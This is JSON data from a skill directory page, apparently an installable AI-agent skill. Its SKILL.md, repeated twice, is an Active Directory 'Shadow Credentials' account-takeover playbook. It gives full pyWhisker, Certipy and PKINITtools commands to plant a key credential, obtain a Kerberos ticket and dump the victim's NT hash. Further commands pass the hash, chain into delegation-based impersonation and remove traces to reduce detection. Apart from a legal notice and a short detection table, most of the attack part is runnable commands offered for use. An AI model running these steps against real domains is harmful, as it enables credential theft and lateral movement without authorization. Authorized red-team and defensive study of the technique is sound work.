[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B4JCZV39R2A3WBZDAPHH5P":3,"skill-same:01M7B4JCZV39R2A3WBZDAPHH5P":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":41,"commitSha":42,"skillDirectory":43,"forksCount":13,"repositoryHtmlUrl":44,"repositoryHomepageUrl":6,"ownerHtmlUrl":45,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":46,"install":47,"resources":60},"01M7B4JCZV39R2A3WBZDAPHH5P","abusing-shadow-credentials-for-privesc",null,"Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite\u002FGenericAll\u002FAddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: abusing-shadow-credentials-for-privesc\ndescription: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite\u002FGenericAll\u002FAddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- shadow-credentials\n- pywhisker\n- certipy\n- pkinit\n- key-credential-link\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098.005\n---\n# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker), [Whisker](https:\u002F\u002Fgithub.com\u002Feladshamir\u002FWhisker), [The Hacker Recipes — Shadow Credentials](https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fkerberos\u002Fshadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`\u002F`GenericAll`\u002F`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption\u002Falerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389\u002F636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT\u002FNT-hash extraction\n  git clone https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash \u002F further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate\u002Fkey pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools\u002Fgettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass \u003CPFX_PASSWORD> \\\n    corp.local\u002Fvictim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools\u002Fgetnthash.py -key \u003CAS-REP-KEY-FROM-STEP-3> corp.local\u002Fvictim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H \u003CRECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key\u002Fhash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local\u002Fattacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id \u003CDEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker |\n| Whisker | Original C# implementation | https:\u002F\u002Fgithub.com\u002Feladshamir\u002FWhisker |\n| Certipy | `shadow auto` end-to-end takeover | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PKINITtools | gettgtpkinit \u002F getnthash | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fkerberos\u002Fshadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect\u002Fnon-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user\u002Fcomputer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`\u002F`GenericAll`\u002F`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello\u002Fdevice registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed \u002F object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n","# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker), [Whisker](https:\u002F\u002Fgithub.com\u002Feladshamir\u002FWhisker), [The Hacker Recipes — Shadow Credentials](https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fkerberos\u002Fshadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`\u002F`GenericAll`\u002F`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption\u002Falerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389\u002F636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT\u002FNT-hash extraction\n  git clone https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash \u002F further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate\u002Fkey pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools\u002Fgettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass \u003CPFX_PASSWORD> \\\n    corp.local\u002Fvictim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools\u002Fgetnthash.py -key \u003CAS-REP-KEY-FROM-STEP-3> corp.local\u002Fvictim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H \u003CRECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key\u002Fhash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local\u002Fattacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id \u003CDEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https:\u002F\u002Fgithub.com\u002FShutdownRepo\u002Fpywhisker |\n| Whisker | Original C# implementation | https:\u002F\u002Fgithub.com\u002Feladshamir\u002FWhisker |\n| Certipy | `shadow auto` end-to-end takeover | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PKINITtools | gettgtpkinit \u002F getnthash | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https:\u002F\u002Fwww.thehacker.recipes\u002Fad\u002Fmovement\u002Fkerberos\u002Fshadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect\u002Fnon-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user\u002Fcomputer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`\u002F`GenericAll`\u002F`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello\u002Fdevice registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed \u002F object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n",{"name":5,"tags":24,"author":33,"domain":34,"license":14,"version":35,"nist_csf":36,"subdomain":38,"description":7,"mitre_attack":39},[25,26,27,28,29,30,31,32],"red-team","active-directory","shadow-credentials","pywhisker","certipy","pkinit","key-credential-link","privilege-escalation","mahipal","cybersecurity","1.0",[37],"PR.AA-05","red-teaming",[40],"T1098.005","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":48,"prompt":58,"zipAvailable":59},[49,52,55],{"tool":50,"command":51},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill abusing-shadow-credentials-for-privesc",{"tool":53,"command":54},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill abusing-shadow-credentials-for-privesc",{"tool":56,"command":57},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill abusing-shadow-credentials-for-privesc","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002FSKILL.md",true,[61,65,71,75],{"path":62,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"references\u002Fapi-reference.md","REFERENCE","参考文档",2509,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002Freferences\u002Fapi-reference.md",{"path":72,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fstandards.md",1240,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002Freferences\u002Fstandards.md",{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"scripts\u002Fagent.py","SCRIPT","脚本",5418,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fabusing-shadow-credentials-for-privesc\u002Fscripts\u002Fagent.py",[82,90,97,104,111,118],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]